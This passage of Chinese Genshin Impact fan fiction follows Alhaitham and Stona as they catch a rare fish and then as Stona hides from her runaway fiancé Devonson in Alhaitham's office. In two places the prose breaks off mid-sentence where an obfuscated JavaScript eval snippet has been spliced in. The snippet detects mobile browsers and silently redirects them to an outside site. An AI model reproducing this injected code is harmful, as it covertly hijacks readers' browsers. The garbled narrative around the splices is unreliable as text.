斯托娜在蒙德过得并不愉快,这一点艾尔海森早在多年前就已经有所怀疑,那些信…… 在最初的失望烟消云散之后,他重新阅读了斯托娜寄来的信件。 这些信的字里行间都在提醒他,写信人在写信时的心情不好,但艾尔海森无法确定斯托娜心情不好是因为蒙德的生活,还是因为要给他写信。 现在看来,她在蒙德过得不愉快的可能性更大,更不必说斯托娜前不久刚刚亲口说过她不喜欢蒙德的生活。 那么根据简单的推理,斯托娜这些年来其实并没有信里表现的那样反感他。 假如自己在对方心里还是有一席之地的,那么如果他请求斯托娜留下来,她会答应吗? 他昨天尝试过挽留对方,但失败了。 不过没关系,失败是很正常的,他会继续尝试。 身为一名学者,遇到难解的问题,迎难而上才是正解。 就像钓鱼的时候,如果今天钓不到暮云角鲀,那就继续尝试下去,直到暮云角鲀上钩为止。 整理书房的这天,晚上,艾尔海森和斯托娜乘船抵达降诸魔山。 巨大的遗迹守卫挡在降诸魔山的入口,经过雨林多年的侵蚀同化,遗迹守卫的表面布满苔藓,已经成为雨林的一部分。 鸟雀在遗迹守卫的身上筑巢,蘑菇肆意在它的缝隙处生长,游客爬上最高处俯瞰、拍摄照片…… 遗迹守卫已经与降诸魔山紧紧绑定,提起降诸魔山,人们就会想到这尊巨大的遗迹守卫,而提起这个遗迹守卫,人们想到的也是降诸魔山。 “好壮观。”第一次看到巨大遗迹守卫的斯托娜忍不住发出感叹,仰起头看着足有一座山高的遗迹守卫,“它不会忽然动起来吧?” “不会。遗迹守卫内部核心已经损坏,不会被重新激活。不过如果能把它激活的话,对遗迹守卫的调查研究一定会有较大的突破。” 但从遗迹守卫身上厚厚的苔藓就能够推测出来,教令院已经放弃激活的尝试,任由这庞然大物在这里受风雨侵蚀。 他们经过遗迹守卫,来到水边钓鱼。 降诸魔山到了晚上没什么人,但这里并不安静,也不空寂。 蛙鸣声从四面八方传来,也许他们附近只有两只青蛙,但两只青蛙足以营造出他们已经被蛙群包围的氛围。 比须弥城港口更多的萤火虫,还有蕈兽和史莱姆、蜥蜴、蕈猪,人类不是降诸魔山的主宰,斯托娜和艾尔海森在这里只是两个低调融入当地环境的渺小灵长类动物。 那天晚上他们没能钓到暮云角鲀,但他们在降诸魔山度过了一个很愉快的夜晚。 从须弥城坐船到这里的路费当然是由他们自掏腰包,发布暮云角鲀委托的委托人并没有在委托上写明会给他们报销路费。 在须弥城港口钓鱼的成本只是钓具,但来一趟降诸魔山的成本,加上来回路费之后自然比在须弥城钓鱼的成本高。 不过斯托娜并不在乎路费,哪怕在降诸魔山也钓不到暮云角鲀,她也不后悔。 能出来走走感觉太好了,她一向喜欢雨林,即使雨林很危险,即使雨林曾经差点把她永远留在那里,她对雨林的喜爱也没有丝毫减少。 斯托娜曾经提议由她来支付艾尔海森从须弥城乘船到降诸魔山的路费,因为对方是陪她来的,所以斯托娜认为对方的路费理应由自己来出,但艾尔海森拒绝了。 艾尔海森说在这里他可以放空思绪,忘掉工作上的烦恼。他并不是陪她来,而是自己想来。 斯托娜不确定对方这样说是不是为了不让她付路费而找的借口,但艾尔海森最近的状态的确有所好转。 亲近大自然的确是让内心平静下来的好办法,斯托娜小时候喜欢四处跑来跑去,但在大自然里她也可以变得很安静,在树下躺上一整个下午,除了头顶上方的树叶和偶尔几只飞到树枝上的鸟以外,她什么也不会想。 在降诸魔山钓鱼的第三个晚上,斯托娜钓到了暮云角鲀。 在暮云角鲀咬钩前的二十秒时间里,斯托娜看着落在鱼竿上的萤火虫,担心一会儿有鱼咬钩的时候会惊动它。 萤火虫的光亮是一个小点,比天上的星星看起来还要小。 比星星还要小的萤火虫慢慢落到她的钓竿上就不动了,也许萤火虫是把鱼竿错认成了树枝。 接着鱼就咬钩了。 萤火虫被鱼拽钓竿的动作惊动,慢吞吞地飞走,斯托娜握紧鱼竿开始收鱼线。 咬钩的鱼力气很大,如果是只花鳉的话,一定是一条活了好多年的花鳉。 斯托娜最终把鱼从水面拽了出来,鱼甩动尾巴,溅了她一声水。 周围很暗,为了不惊动水里的鱼,她和艾尔海森没有点灯,斯托娜又被鱼甩了一脸水,所以更加看不清楚。 “是暮云角鲀,”她听到艾尔海森的声音从身边传来,“这种体型的暮云角鲀并不常见,粗略估计……应该是正常体型暮云角鲀的一点五倍大。” “太好了,委托完成!” 斯托娜擦去脸上的水,她抱起鱼,感受着暮云角鲀沉甸甸的重量。 竟然第三个晚上就钓到了,降诸魔山果然很适合钓暮云角鲀! 发布暮云角鲀委托的委托人对她钓到的鱼十分满意,多给了斯托娜百分之十的酬金。 斯托娜把酬金与艾尔海森平分,对方虽然并不想要,但因为这是早就说好的,他们两个不管谁钓到了暮云角鲀,都必须和对方平分酬金,所以艾尔海森没有拒绝,而是根据约定收下了酬金。 获得了高额酬金,斯托娜很开心,提出要请艾尔海森吃饭。艾尔海森就没有她这么激动了,虽然能够钓到暮云角鲀是件值得高兴的事,但他担心如果斯托娜接下来要提出从家里搬出去呢? 钓鱼获得的酬金足够她在须弥城租房子了,如果她提出搬出去,他又不能拒绝,只能看着斯托娜从这里搬走。 该怎么挽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16205606|180005||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 留对方呢? 斯托娜住在这里需要付的房租比她在须弥城自己租房子的租金低许多,但斯托娜的伤已经好了,她完全可以住在须弥城外,城外的房租更便宜,还不需要找人合租。 所以低廉的房租是无法留住斯托娜的。 那么靠真诚呢? 艾尔海森之前已经试过靠真诚挽留她了,并不管用。 那么还有什么其他办法。 艾尔海森把所有靠谱的不靠谱的办法都想了一遍,为了避免遗漏还想了第二遍,最终确定,他没有办法。 就算斯托娜今天晚上就要搬出去,他也没办法挽留她。 因为忙着思考这些事,艾尔海森当天下午一直待在办公室里没有外出。 他思考得越久就越有种不好的预感,总觉得当他回家的时候,就会看到斯托娜收拾好了行李要搬出去。 所以艾尔海森有些抗拒下班,他今天破天荒头一次没有准时下班,下班时间过了之后,他仍然待在办公室。 但事实总要面对,就算他在办公室待到天亮,斯托娜也完全可以明天再告诉他她要搬出去。 艾尔海森站起身,准备回家迎接残酷的命运。 这时忽然有人敲门。 下班时间已经过了,竟然还有人跑来打扰他。 他已经把工作时间贴在门外,但总有人视而不见。 “请进。”艾尔海森的声音里没有一丝“请”的意味。 斯托娜推开门走了进来,然后快速关上门,转向他,问:“不好意思,你现在忙吗?” 时间退回到三十分钟以前。 那时斯托娜刚刚下班,她心情很好。 即使她现在就从艾尔海森家搬出去,钓到暮云角鲀的酬金也足以让她到须弥城外租房子。 房租加上其他的日常开销,就算她接下来不工作,酬金也足够她在须弥过上大半年的时间。 怀着愉悦的心情来到家门前,斯托娜一摸口袋,却没找到钥匙。 可能是早上出门的时候太开心,忘带钥匙了。 但是没关系,只是忘带钥匙而已,艾尔海森应该马上就会回家。 斯托娜等在门外,因为无事可做,她看着下方宝商街上来来往往的人群打发时间。 沿街叫卖的商贩,嬉戏的孩子们,运送货物的伙计……斯托娜的目光扫过一个又一个行人。 她忽然皱眉。 人群中有个很突兀的人。 须弥气候炎热,大家的着装都以清凉为主,从国外来的游客即使衣着与本地人不同,但也不会穿太长、太不透风的衣服。 但是人群中的那个人穿了一件厚实的黑色长风衣,风衣里面是黑色的西装、黑色的皮鞋和裤子,他还戴了一顶黑帽子和一副黑色的墨镜,以及一双黑色的皮质手套。 如果乌鸦能够变成人的话,应该就是这个人的样子吧。 因为对方在人群中太过引人注目,斯托娜忍不住多看了他几眼。 这个人挺胸抬头匀速走在人群中,时不时停下来看看路边商贩的货品。 走了一会儿之后,他似乎是有些耐不住高温,所以摘下了手套。 他把手套放进口袋里,又从口袋里取出一块黑色的手帕,然后摘下墨镜,用手帕仔细擦拭起了墨镜。 遮住他大半张脸的墨镜被摘下之后,斯托娜看清了对方的脸。 这个人,好像是她未婚夫。 33.第 33 章 哈? 真的是他吗? 斯托娜又多看了对方几眼。 真的吗? 这可能吗? 斯托娜仍然不能十分确定,因为她只和这位未婚夫见过一面,而且那次见面,她只看见了对方的侧脸。 请千万不要是他,千万不要是他,千万不要是他——斯托娜边在心里祈祷边继续观察对方。 摘了墨镜的人又停了下来,他边擦拭墨镜边转头看向路边的水果摊,眼睛里是满满的渴望,对水分和糖分的渴望,第一次来须弥旅游的外国人在经受了须弥的高温暴击后,往往就会产生这种渴望。 斯托娜根据对方的侧脸判断,这个西装革履的人,好像真的就是她未婚夫德文森先生。 德文森先生到须弥来了。 德文森先生到须弥来了? 德文森先生到须弥来了?! 斯托娜到须弥的原因是逃婚,德文森先生总不会也是为了逃婚才到须弥来的。 他一定是来找她的。 怎么办怎么办怎么办! 虽然她和德文森先生还没有正式见过面,德文森先生对她的了解应该和她对德文森先生的了解一样少,但她的父母一定知道德文森先生到须弥来的事,所以他们一定给德文森先生看过她的照片。 躲起来!必须在对方发现自己之前躲起来! 脑袋里浮现出这个想法之后,斯托娜条件反射要躲进家里,然后她才猛然想起她今天忘了带钥匙。 可恶啊,为什么偏偏是今天? 她从来都没有忘记过带钥匙,今天是她第一次忘带钥匙,就遇到了德文森先生,运气未免太差了吧?! 从水果摊处买了水果的德文森先生并没有发现他就在不远处并且即将崩溃的未婚妻,德文森先生重新戴上墨镜,边吃水果边继续往前走。 斯托娜原地转了一个圈,想找个地方藏起来。 怎么办怎么办?绝对不能被他发现! 可是该躲去哪里呢? 德文森先生在宝商街,他沿着路正往这边走来,所以斯托娜不能去宝商街。 她也没有办法回家,因为没有钥匙打不开门。 那么唯一的选择就只有沿着路继续往上走,去教令院了。 这就是三十分钟前发生的事。 时间回到现在。 “不好意思,你现在忙吗?”斯托娜关上门,转过身看着艾尔海森。 “发生了什么事?你受伤了吗?”艾尔海森直接跳过了礼貌的寒暄,问道。 “没有,我没事,”斯托娜松开门把手,深吸一口气,“我没事。” 为了躲开德文森先生,她一路狂奔到教令院,然后拦住了在教令院遇到的第一个人,向对方问明了艾尔海森办公室的位置,又一路狂奔过来。 艾尔海森看了一眼被她关上的门,推测道:“你是有急事找我,还是在躲人?” “没错。我是在躲人,也有急事找你,”斯托娜说,“刚才我看到了德文森先生,就是我跟你提起过的,我爸妈给我找的未婚夫。” 艾尔海森皱了下眉,问:“他在哪里?” “宝商街。” “他看到你了?” “暂时还没有。我今天忘记带钥匙,正在门口等你回去,就看到了他。” 艾尔海森想了想,问:“他是一个人来的?” 斯托娜回忆了一下刚才发生的事,说:“应该是吧,我没看到他身边有其他人。可是他不应该会出现在须弥啊。” 为了不被父母知道她现在在须弥,艾尔海森拜托他在璃月的朋友把斯托娜写给父母的信寄去了蒙德。 从斯托娜父母的角度来看,斯托娜是从璃月给他们写的信,就算他们要找斯托娜,也应该去璃月找,而不是到须弥来。 而且时间也对不上。就算德文森先生是看了斯托娜寄去的信后立刻启程前往须弥,他也不会这么快到到达。 “所以他一定是在收到你的信之前就已经从蒙德出发了,”艾尔海森说,“至于他为什么会认为能够在须弥找到你,我想大概是你的父母向他提供了线索。” 斯托娜同意艾尔海森的推测,毕竟她的父母知道她喜欢须弥,他们一直没有她的消息,所以会建议德文森先生到须弥来找她。 “不管他为什么会到须弥来,你现在应该还不想见他吧?”艾尔海森问。 斯托娜点点头。 对斯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16214889|180005||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 托娜来说,现在当然还是不要被德文森先生发现比较好,如果对方只是单纯到须弥来碰运气、实际上不知道她真的在须弥的话,找不到她,他过一阵子应该就会离开了。 这时又有人敲了三下门。 斯托娜下意识以为是德文森先生在敲门,“躲起来”三个字瞬间占据了她的脑袋,她迅速躲进了桌子下面。 但来者不是德文森先生,而是来提交申请表的学生。 “对不起书记官先生,我知道现在已经过了您的工作时间,但这份申请表请您一定收下,否则我会被导师骂死的!” “好吧,下不为例。” “请您千万不要拒绝我啊书记官大人,就请您看在——欸?”学生的脸上显现出迷茫的神情,然后迷茫变成了狂喜:“真的吗?您真的答应收下我的申请表了?谢谢书记官大人!” 门随后被关闭。 艾尔海森把申请表放到桌上,低头对斯托娜说:“他已经走了,可以出来了。” “我还以为是德文森先生呢,还好不是。” 斯托娜正要从桌子底下爬出来,忽然又有人敲门,她顺势又钻回了桌子下面。 门打开后,一个学者打扮的人冲了进来:“书记官先生!太好了,您今天竟然在办公室!我——” “我已经下班了,有事明天再来吧。” “不要啊书记官先生,我真的很需要这笔研究经费,如果申请被驳回的话,学院就不会把经费批给我了!” 艾尔海森叹了口气,显然如果他不答应的话,这个人短时间内是不会离开了。 “把申请表留下吧。” “谢谢您!” 门再次关闭,艾尔海森从桌上拿起申请表扫了一眼就放下了:“所以我不喜欢待在办公室。” 斯托娜刚才躲得太急,撞到了手臂,整个左臂都给撞麻了:“不好意思,能帮我一下吗?” 艾尔海森走到桌边,俯身拉住斯托娜的手。 “书记官先生,刚才那张申请表我拿错了,这张才是——”刚才那个学者没有敲门就闯了进来,然后愣在原地,“你们这是……抱歉抱歉!” 他话没说完就猛地退了出去,“砰”地关上了门。